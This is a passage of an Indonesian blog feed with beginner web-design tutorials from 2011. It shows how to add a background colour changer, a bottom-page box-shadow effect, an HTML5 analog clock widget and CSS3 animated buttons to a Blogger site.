disini.</div><div><br /><br /><a style="color:white;padding:10px 20px 10px 20px;background:#de0101;font-size:20px;border:1px solid #fff;box-shadow:0 0 3px #000;" href="http://bgclrchanger.blogspot.com/">DEMO Background Color Changer</a><br /><br /><ol><li>Standard <b>Background Color Changer</b></li>Dalam penggunaan script ini sobat tentu bisa mengubah ubah background langsung dari situ dengan memasang <i>tombolnya satu persatu</i>.<br /><ol><li>Pertama tama <i>Buka Blogger.com</i> dengan Password dan ID</li><li>Buka Layout/Design<br /></li><li>Page Elemen → Add a Gadget → <b>Javascript/HTML</b><br /></li><li>Letakin kode Berikut di kotak <b>Javascript/HTML</b> yang kosong itu :</li><blockquote><div style="overflow:auto;height:200px;width:ancho:"><script type="text/javascript"><br />function bgChange(bg)<br />{<br />document.body.style.background=bg;<br />}<br /></script><br /><br /><style><br />.bgchange{width:15px;height:15px;border:1px solid #000;margin:1px;}<br /></style><br /><br /><input class="bgchange" style="background:#000" type="button" onClick="bgChange('#000')"/><br /><input class="bgchange" style="background:#00f" type="button" onClick="bgChange('#00f')"/><br /><input class="bgchange" style="background:#0f0" type="button" onClick="bgChange('#0f0')"/><br /><input class="bgchange" style="background:#0ff" type="button" onClick="bgChange('#0ff')"/><br /><input class="bgchange" style="background:#f00" type="button" onClick="bgChange('#f00')"/><br /><input class="bgchange" style="background:#f0f" type="button" onClick="bgChange('#f0f')"/><br /><input class="bgchange" style="background:#ff0" type="button" onClick="bgChange('#ff0')"/><br /><input class="bgchange" style="background:#fff" type="button" onClick="bgChange('#fff')"/></div></blockquote><li>Kemudian Save!</li><br /></ol><li><b>Special Background Color Changer</b></li>Script ini adalah script Full Color dengan kombinasi <a href="http://farixsantips.blogspot.com/2011/01/kode-warna-html.html">kode warna HTML</a> dengan Script yang tadi. Untuk lebih jelasnya silahkan lihat caranya di bawah.<br /><ol><li>Pertama tama sobat Buka blogger.com dengan Password dan ID</li><li>Kemudian Sobat buka Layout/Design → Edit HTML → Cari kode <b><body><br /></b></li><li>Kemudian ubah code tersebut menjadi kode <b><body id="clrchange"></b></li><li>Kemudian Save!<br /></li><li>Buka lagi Layout → Page Element</li><li>Add a Gadget → Javascript/HTML</li><li>Isi kotak kosong tersebut dengan kode</li><blockquote><script type="text/javascript" src="http://www.westciv.com/tools/shadows/jscolor/jscolor.js"></script><br /><script type="text/javascript"><br />function effect() {<br />clrchangeDiv=document.getElementById("clrchange");<br />backgroundColor="#" + document.getElementById("bgclr").value;<br />if (clrchangeDiv) {<br />clrchangeDiv.style.backgroundColor=backgroundColor;<br />}}<br /></script><br /><br /><input class="color" id="bgclr" value="FFFFFF" onchange="effect()"></blockquote><li>Selesai.<br /></li></ol></ol></div></div>Cukup sudah pembelajaran kita kali ini hehe. Ane awalnya nyerah buat tutorial ginian, susah sekali untuk di demo-kan. Alhamdulillah tetapi sekarang sudah bisa hihi. Selamat mencobaFrzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com162tag:blogger.com,1999:blog-6541701603000981262.post-78058831798350052011-12-06T06:17:00.000-08:002011-12-08T01:54:59.933-08:00Efek Shadow Pada Halaman<style>div.note{text-shadow:0px -2px 3px #F7FF00, 0px -2px 1px #D40404;position:relative;width:300px;padding:1em 1.5em;background:#de0101;overflow:hidden;box-shadow:inset 0px -10px 10px #f00}div.note:before{content:"";position:absolute;top:0;right:0;border-width:0 25px 25px 0;border-style:solid;border-color:#fff #fff #eee #eee;background:#658E15;box-shadow:0 1px 1px #C40000,-1px 1px 1px #C40000;display:block;width:0;</style><div class="note" style="float: left; margin-right: 20px;">Halo sobat kembali lagi kita berkumpul bersama dalam suatu ruangan tertutup ini. Pada hari yang cerah ini (malam) kita akan belajar bersama mengenai <b>Design Weblog</b> lagi. Design seperti apa yaitu menambahkan Efek Shadow Pada Halaman, tepatnya bagian Bawah. + Request <a href="http://blogcunayz.blogspot.com/">BLOGCUNAYZ</a></div>Tutorial kali ini adalah cara membuat Efek Shadow Pada Halaman yang secara garis besar berhubungan dengan <b>CSS3 Box Shadow</b>. Apa itu Box Sahdow? Dalam Css Box Shadow diartikan sebagai efek bayangan pada suatu kotak Elemen. Dalam kata lain Box tersebut seperti berada di atas melayang dengan bayangannya sendiri itu.<br /><div style="border: 1px solid red; box-shadow: 2px 2px 2px #777; float: left; font-size: 30px; margin-right:5px; margin:10px 0 25px 0; padding: 29px 0; text-align: center; width: 310px;"><b>BOX-SHADOW</b></div><div style="border: 1px solid red; box-shadow: inset 2px 2px 2px #777; float: right; font-size: 25px; margin-left:5px; margin: 10px 0; padding: 29px 0; text-align: center; width: 310px;"><b>INSET</b></div><br /><br /><br /><br /><ul><br /><li>Box shadow itu <b>ada 2</b>. <b>Box-shadow</b> untuk bayangan di luar dan <b>Box-shadow:inset</b> untuk bayangan di dalam. Metode box shadow yang kita gunakan untuk memenuhi persyaratan sebagaimana sesuai dengan judul postingan kali ini "Efek Shadow Pada Halaman" adalah <b>box-shadow</b>. </li><br /><li>Seletah kita mengetahui Metode box-shadow yang di gunakan, sekarang tahap selanjutnya adalah melakukan peletakan box-shadow melayang di udara tepatnya bagian bawah dan menyembunyikannya di bawah layar komputer.</li><br /><li><b>Tujuannya</b> agar blog mempunyai style baru yaitu bayangan di tepi bawah.<br />Contohnya seperti apa? Yuk Lihat gambar demo di bawah!<br /><span style="font-family: "Courier New",Courier,monospace; font-size: x-small;">Klik gambar untuk memperbesar</span><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8Mv8CpoG1i9PS3h_DtXD3DPqIRkOANZwtjZZ7irmnCW4qNMFt2uDDIvXUm1MqRJcXje9zgP16hG4MuSzbxXFpplMCYY9XwWII6Cj5XSJYR1XU6Tj6dMQv9_2LA2kKjFl-ZJi8NtXlOM/s1600/Efek+Shadow+Pada+Halaman.png" style="margin-right: 1em;"><img border="0" height="61" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB8Mv8CpoG1i9PS3h_DtXD3DPqIRkOANZwtjZZ7irmnCW4qNMFt2uDDIvXUm1MqRJcXje9zgP16hG4MuSzbxXFpplMCYY9XwWII6Cj5XSJYR1XU6Tj6dMQv9_2LA2kKjFl-ZJi8NtXlOM/s400/Efek+Shadow+Pada+Halaman.png" width="400" /></a><br />Bayangan tersebut akan terus berada di bawah karna efek dari pada <b>Css Position Property Fixed</b></li></ul><b>Bagaimana cara membuatnya</b><ol><li>Buka Blogger.com dengan Password dan ID</li><li>Buka Layout/Design</li><li>Buka Edit HTML</li><li>Cari kode </body> kemudian letakan kode berikut sebelum kode </body> tadi :</li><blockquote class="tr_bq"><div style='display:scroll; position: fixed; bottom:-20px; right:0px; width:100%; border:0; box-shadow:0 0 100px #000;'><b>Farixsantips</b></div></blockquote><li>Selesai. Mudah bukan?</li></ol>Semoga bisa membantu sobat dalam mendesign blog ya :) hwhwhwFrzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com161tag:blogger.com,1999:blog-6541701603000981262.post-58872720156305596632011-12-03T03:37:00.000-08:002011-12-04T02:44:41.042-08:00HTML5 Analog Clock<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhvnvXtyu3NcXwdVaiPLQq-VFkR0aGJ8N9QMgAsC8RsgfLAxvWGaMHufLXywyT6AwbNtRfowZBaPnjvmRFSIi-Yxrnw8j8zTQw-PWoEpPq1gqxhBZr8_6qS6AaUsT7H4t-49tnvbRdVeo/s1600/clock.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 160px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhvnvXtyu3NcXwdVaiPLQq-VFkR0aGJ8N9QMgAsC8RsgfLAxvWGaMHufLXywyT6AwbNtRfowZBaPnjvmRFSIi-Yxrnw8j8zTQw-PWoEpPq1gqxhBZr8_6qS6AaUsT7H4t-49tnvbRdVeo/s400/clock.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5681921448776028866" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq9P5YAkEAsOcfckfnBLmrfCNIGDOMSV83K8L3YuegtUGi5MBb6Z0LMvf6qEEjzOd20_VN98OJG6h6ekyItbI5OkT9pxoW55Kwe1yQTRj2LX8kR_J_9UixPO1Ei7-9ye_Xjwa76mS2urQ/s1600/html5logo.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 160px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq9P5YAkEAsOcfckfnBLmrfCNIGDOMSV83K8L3YuegtUGi5MBb6Z0LMvf6qEEjzOd20_VN98OJG6h6ekyItbI5OkT9pxoW55Kwe1yQTRj2LX8kR_J_9UixPO1Ei7-9ye_Xjwa76mS2urQ/s400/html5logo.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5681889272568104802" /></a><b>HTML5</b> adalah suatu spesifikasi yang dikeluarkan oleh <b>W3C</b> (<i>World Wide Web Consortium</i>) sebagai revisi dari standard <b>HTML</b>. Sebelumnya banyak orang menambahkan fitur-fitur baru di web browser atau pun di aplikasi komputer pada masa masanya<b> HTML5 Kebawah</b>. Solusi ini dikenal dengan plugin dan Flash. Standard <b>HTML4</b> yang dilihat banyak <i>kelemahan</i> untuk support terhadap website yang interaktif membuat website-website yang migrasi ke <b>HTML5</b> itu.<br /><br /><i>Tujuan</i> dari pada suatu <b>HTML5</b> tersebut adalah menyederhanakan serta memperbaiki kelemahan di versi HTML sebelumnya. Seperti pada <b>Clock</b> yang pada awalnya menggunakan Flash/Flash Player yang di install manual di komputer, tetapi karena sudah ada kehebatan dari <b>HTML5</b> ini bisa di sederhanakan menjadi <b>Script</b>.<br /><br /><span style="background:#de0101;color:white;border-radius:5px;padding:2px 5px;"><b><i>HTML5 Hanya bisa di lihat menggunakan web browser yang terkenal saat ini adalah <u>GOOGLE CHROME</u> atau<u> Safari</u>.</i></b></span> Saya ambil contoh dan sekaligus berpapasan dengan judul postingan pada blog ini. Yaitu membuat <b>Jam/Clock</b> menggunakan <b>HTML5</b><br /><br /><center><iframe src="http://html5analogclock.blogspot.com/#clock" width="204" height="204" scrolling="no" style="border:none"></iframe></center><br />Analog Clock diatas adalah hasil karya dari <a href="http://www.paulrhayes.com/">paulrhayes</a> dengan menggunakan <b>HTML5</b> alias tidak menggunakan Flash Player. Saya ingatkan lagi bahwa <span class="Apple-style-span" style="color: rgb(255, 255, 255); background-color: rgb(222, 1, 1); ">Hanya bisa di lihat untuk browser tertentu</span>, Sungguh menarik bukan? Sekarang tinggal gimana membuatnya.<ol><li>Buka Blogger.com dengan Password dan ID</li><li>Pilih Layout → Page Element</li><li>Add a Gadget → pilih Javascript/HTML</li><li>Pada kotak javascript yang kosong isi dengan kode berikut :</li><blockquote><div style="overflow:auto;width:ancho;height:300px;"><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script><br /><script src="http://www.paulrhayes.com/experiments/clock/js/experiment.js"></script><br /><br /><style><br />#clock {<br />position: relative;<br />width: 200px;<br />height: 200px;<br /><b>background:#eee url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnpSBG23dzzyxVCLlBZn_ywXGKLElj4byYD1gmUpTbPkakKn3NcR9IgOYJ55gfpPJvqxkcp3EBQQ6lQz6Skn6TkT1QLOiUl4s1Dg1EO2v51OTznMtkkdq1ngBjC67HB8pDY82TvVbO1oo/s1600/bg.png)no-repeat;</b><br />border-radius:200px;<br />border:2px solid #000;<br />box-shadow:inset 0 0 5px #ddd;<br />}<br />#clock div {<br />position: absolute;<br />}<br />#clock img[src*='second'] {<br />-webkit-transition: -webkit-transform 600000s linear;<br />-moz-transition: -moz-transform 600000s linear;<br />-o-transition: -o-transform 600000s linear;<br />}<br />#clock:target img[src*='second'] {<br />-webkit-transform: rotate(3600000deg);<br />-moz-transform: rotate(3600000deg);<br />-o-transform: rotate(3600000deg);<br />}<br />#clock img[src*='minute'] {<br />-webkit-transition: -webkit-transform 360000s linear;<br />-moz-transition: -moz-transform 360000s linear;<br />-o-transition: -o-transform 360000s linear;<br />}<br />#clock:target img[src*='minute'] {<br />-webkit-transform: rotate(36000deg);<br />-moz-transform: rotate(36000deg);<br />-o-transform: rotate(36000deg);<br />}<br />#clock img[src*='hour'] {<br />-webkit-transition: -webkit-transform 216000s linear;<br />-moz-transition: -moz-transform 216000s linear;<br />-o-transition: -o-transform 216000s linear;<br />}<br />#clock:target img[src*='hour'] {<br />-webkit-transform: rotate(360deg);<br />-moz-transform: rotate(360deg);<br />-o-transform: rotate(360deg);<br /></style><br /><br /><hr /><br /><div id="clock"><br /><div id="hour"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3vTYqME-pX161hZMVspyi1m5Rk4MA-7LjhfY-Jg8epYNMKLHF7GZGoviXi1GpVJ1jk4U9hq238CD1KiE27tjywZ6lwyhRCzjXkOOfj5aHz0khxujhnKPgKGYJ00Xlna0u_adNKD-La0U/s400/hourHand.png" /></div><br /><div id="minute"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI9yYp_0uUG8QvLh4npVlyB4cIxUnV0L0q_-85ERWW96xK6nuCxyO3Um_KKLux_XZm1GvxamgvtNr7qBEe3vJ-xpE8hw_t2pEPz2Nkezq2jF0ot4hAP6eht0s7CM0VwrOTdULj25Ow_KY/s400/minuteHand.png" /></div><br /><div id="second"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilctqriUc2h7tGKBFT1N0QXvNC08nEVwFbRrbHC_HfOJmgyQN-qn1k6Pze1egmNmSfyoEydlwkUmmFTnTzVKOBPkbxET_8jlTlNxwAJDMHngGf1Xx5Prvwb1riGRksVZgTVq1K1Eh3J1Y/s400/secondHand.png" /></div><br /></div></div></blockquote><li>Kemudian tambahkan lagi disitu <b>Tombol Pengaktif Jamnya</b>.</li><blockquote><a href="<b>#clock</b>"><b>Klik Untuk Mengaktifkan Jam!</b></a></blockquote><li>Kemudian Save Gadget</li><li>Setelah jadi lihat hasilnya di <b>GOOGLE CHROME</b> atau <b>SAFARI</b>. Setelah itu klik <b>Tombol Pengaktif Jam</b>nya untuk mengaktifkan Jam.</li><li>Lihat hasilnya seperti contoh diatas</li></ol>Lebih mudahnya menggunakan Iframe<br /><blockquote><center><iframe src="http://html5analogclock.blogspot.com/#clock" width="204" height="204" scrolling="no" style="border:none"></iframe></center></blockquote>Jam tersebut akan mengikuti seluruh Hour, Minute, dan Second sesuai yang ada di komputer kita saat ini.Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com159tag:blogger.com,1999:blog-6541701603000981262.post-85179772676823159452011-11-28T03:30:00.000-08:002011-12-02T23:30:36.484-08:00Bubble Button Css3 Animation<b>Button</b> atau bahasa yang sering di sebut untuk negara ini adalah <span style="font-weight:bold;">Tombol</span> dimana kita akan difasilitas kecilkan untuk mengeklik-nya. Bagaimana <i>contoh button </i>umumnya pada <i>web browser</i> kalian? Contohnya seperti ini : <button>Tombol Button</button> Bagus bukan Tombolnya? Tombol tersebut saya ingatkan lagi, itu <b>Tombol </b>paling umum di <i>web browser</i> kalian dengan code <b><span class="Apple-style-span"><i><button></button></i></span></b> .<br /><br />Variasi Button tidak hanya dengan Script itu saja, melainkan <b>Css Hover</b> dan <b>Css Active</b>.<br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;">Saya ambil Contoh CSS Code</span><br /><blockquote>.<b>buttonclass</b>{<br />background:#FF0000;<br />border:1px solid #777;<br />padding:5px;<br />box-shadow:0 0 3px #ccc;<br />color:#000;<br />}<br />.<b>buttonclass</b>:hover{<br />background:#de0101;<br />border:1px solid #aaa;<br />}<br />.<b>buttonclass</b>:active{<br />background:#fc0;<br />border:1px solid #fff;<br />}</blockquote><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;">HTML Code</span><br /><blockquote><a href="#" class="<b>buttonclass</b>">Button</a></blockquote></blockquote><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;">Contoh Hasilnya</span><br /><style>.buttonclass{margin:5px;background:#FF0000;border:1px solid #777;padding:5px;box-shadow:0 0 3px #ccc;color:#000}.buttonclass:hover{background:#de0101;border:1px solid #aaa;}.buttonclass:active{background:#fc0;border:1px solid #fff;}</style><br /><a href="javascript:void(0)" class="buttonclass">Button</a><br /><br />Dapat disimpulkan dan diartikan bahwa kode CSS <b>Hover</b> (effect yang timbul ketika cursor diarahkan ke elemen) dan <b>Active</b> (effect yang timbul ketika elemen di klik) berperan penting dalam pembuatan <b>Button</b> tersebut.<br /><br />Setelah kita belajar apa itu Button dan bagaimana pentingnya Kode CSS <i>Hover</i> dan <i>Active</i>, mari kita membuat <b>Bubble Button Css3 Animation</b>. Pernah terfikir gimana membuat <b>Bubble Button</b> menggunakan <b>CSS3</b> seperti di bawah ini?<style>.button{font:30px 'Arial';text-shadow:1px 1px 0 rgba(255,255,255,0.4);text-decoration:none !important;white-space:nowrap;display:inline-block;vertical-align:baseline;position:relative;cursor:pointer;padding:10px 20px;background-repeat:no-repeat;background-position:bottom left;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png');background-position:bottom left,top right,0 0,0 0;background-clip:border-box;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px;-moz-box-shadow:0 0 1px #fff inset;-webkit-box-shadow:0 0 1px #fff inset;box-shadow:0 0 1px #fff inset;-webkit-transition:background-position 1s;-moz-transition:background-position 1s;transition:background-position 1s}.button:hover{background-position:top left;background-position:top left,bottom right,0 0,0 0}.button:active{bottom:-1px}.blue.button{color:#0f4b6d !important;border:1px solid #84acc3 !important;background-color:#48b5f2;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(89,208,244,1) 0,rgba(89,208,244,0) 100px),-moz-linear-gradient(#4fbbf7,#3faeeb);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(89,208,244,1)),to(rgba(89,208,244,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#4fbbf7),to(#3faeeb))}.blue.button:hover{background-color:#63c7fe;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(109,217,250,1) 0,rgba(109,217,250,0) 100px),-moz-linear-gradient(#63c7fe,#58bef7);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(109,217,250,1)),to(rgba(109,217,250,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#63c7fe),to(#58bef7))}.green.button{color:#345903 !important;border:1px solid #96a37b !important;background-color:#79be1e;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(162,211,30,1) 0,rgba(162,211,30,0) 100px),-moz-linear-gradient(#82cc27,#74b317);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(162,211,30,1)),to(rgba(162,211,30,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#82cc27),to(#74b317))}.green.button:hover{background-color:#89d228;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(183,229,45,1) 0,rgba(183,229,45,0) 100px),-moz-linear-gradient(#90de31,#7fc01e);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(183,229,45,1)),to(rgba(183,229,45,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#90de31),to(#7fc01e))}.orange.button{color:#693e0a !important;border:1px solid #bea280 !important;background-color:#e38d27;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(232,189,45,1) 0,rgba(232,189,45,0) 100px),-moz-linear-gradient(#f1982f,#d4821f);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(232,189,45,1)),to(rgba(232,189,45,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#f1982f),to(#d4821f))}.orange.button:hover{background-color:#ec9732;background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient(center bottom,circle,rgba(241,192,52,1) 0,rgba(241,192,52,0) 100px),-moz-linear-gradient(#f9a746,#e18f2b);background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient(radial,50% 100%,0,50% 100%,100,from(rgba(241,192,52,1)),to(rgba(241,192,52,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#f9a746),to(#e18f2b))}.gray.button{color:#525252 !important;border:1px solid #a5a5a5 